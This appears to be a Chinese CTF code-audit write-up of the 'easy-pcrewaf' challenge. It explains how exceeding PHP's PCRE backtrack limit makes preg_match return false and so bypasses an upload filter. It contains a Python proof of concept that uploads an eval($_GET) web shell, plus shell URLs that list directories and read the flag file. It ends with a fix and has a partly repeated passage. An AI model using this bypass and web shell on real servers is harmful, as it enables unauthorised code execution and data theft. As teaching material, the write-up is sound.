代码审计学习.CodeBreaking.easy-pcrewaf
这次是一道关于php回溯bypass正则的题目,有趣得很!
题目概述
源码
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
代码审计
我们依次解读,
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
显然是个正则匹配,而且是针对php的正则,就是匹配php代码。这个正则bypass就是这道题的关键所在。
if(empty($_FILES)) {
die(show_source(__FILE__));
}
显然是要文件上传,这里就是判断是否上传文件,没啥可研究的。
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
使用$_SERVER['REMOTE_ADDR']
获取客户端的IP地址,并对其进行MD5哈希加密,然后拼接在data/
的后面,形成一个表示用户目录的字符串,赋值给user_dir
。
$data = file_get_contents($_FILES['file']['tmp_name']);
读取上传文件的内容赋值给data
,$_FILES['file']['tmp_name']
是一个包含了上传文件临时路径的 PHP 预定义变量。[file]
是上传文件的字段名,['tmp_name']
则表示上传文件的临时路径。
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
//创建目录,权限0755
$path = $user_dir . '/' . random_int(0, 10) . '.php';
//文件路径为 $user_dir/0到10随机数.php
move_uploaded_file($_FILES['file']['tmp_name'], $path);
//将文件从临时目录中移动到$path中
header("Location: $path", true, 303);
//在http返回头里给我们文件路径
}
紧接着就是上面分析过的正则匹配,匹配成功则输出"bad request",反之,则将上传的文件进行保存,然后在http返回头里给我们文件路径。
分析完代码,现在就一目了然了,题目没有禁止我们传php文件,而是要求我们传php文件,但是又对php代码进行了正则过滤。
所以思路就是bypass正则,上传php文件getshell。
漏洞利用
1. bypass正则
想要bypass正则,就不得不研究研究正则表达式的一些机制了。这里主要是参考P神的WP,加了点自己的理解。
1.1. 正则表达式是什么?
正则表达式是一个可以被“有限状态自动机”接受的语言类。
“有限状态自动机”,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。
而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:
- DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
- NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。
1.2. 正则回溯
以这道题的正则为例,假设我们的输入是
<?php phpinfo();//aaaaaaaaa
我们用regex101进行调试,正则流程是这样的:
首先正则开始匹配<
找到<
后,然后正则再匹配?
找到<?
后,正则开始匹配.*
可以在 step 4 中看到,正则因为.*
匹配上了<?
后所有的字符,但正则并没有结束,继续匹配 [(`;?>] 。
但是因为.*
匹配上了<?
后所有的字符,后面没有字符可以匹配了,于是正则开始回溯,回溯了一个a
又回溯了一个a
一直回溯,直到回溯到了;
,终于匹配上了 [(`;?>]
然后.*
继续匹配后面所有字符,这样才算是完成了正则匹配
在调试正则表达式的时候,我们可以查看当前回溯的次数,总共回溯了12次,建议自己调试试试,流程很清晰。
1.3. PHP的pcre.backtrack_limit
限制利用
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit
。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));
的方式查看当前环境下的上限:
由输出可知,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会出现什么现象呢?
正常匹配成功情况下,返回了1
正常匹配失败情况下,返回了0
回溯达到超过的情况下,返回了false,表示此次执行失败了。
调用var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);
,发现失败的原因就是回溯次数超出了限制!
再回到这道题,
if (is_php($data)) {
echo "bad request";
} else {
...
}
我们要的就是false
!那么这道题的答案已经摆在了我们面前:
通过发送超长字符串的方式,使正则执行失败,从而绕过正则对PHP语言的限制,进而getshell。
POC如下:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'success<?php eval($_GET[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://172.17.0.1:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
2. getshell
从http请求头中得到文件路径
然后就不多说了,直接看截图吧
http://172.17.0.1:8088/data/122c4a55d1a70cef972cac3982dd49a6/3.php?txt=print_r(scandir(%27../../../%27));
http://172.17.0.1:8088/data/122c4a55d1a70cef972cac3982dd49a6/3.php?txt=var_dump(file_get_contents(%27../../../flag_php7_2_1s_c0rrect%27));
漏洞修复
仔细观察PHP文档,是可以看到preg_match
函数下面的警告的:
如果用preg_match
对字符串进行匹配,一定要使用===
全等号来判断返回值。
例如,
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(is_php($input) === 0) {
// fwrite($f, $input); ...
}
这样,即使正则执行失败返回false,也不会进入if语句。
串进行匹配,一定要使用===
全等号来判断返回值。
例如,
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(is_php($input) === 0) {
// fwrite($f, $input); ...
}
这样,即使正则执行失败返回false,也不会进入if语句。
参考文章:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html#0x01
https://blog.csdn.net/dyw_666666/article/details/90043671
https://www.freebuf.com/column/197832.html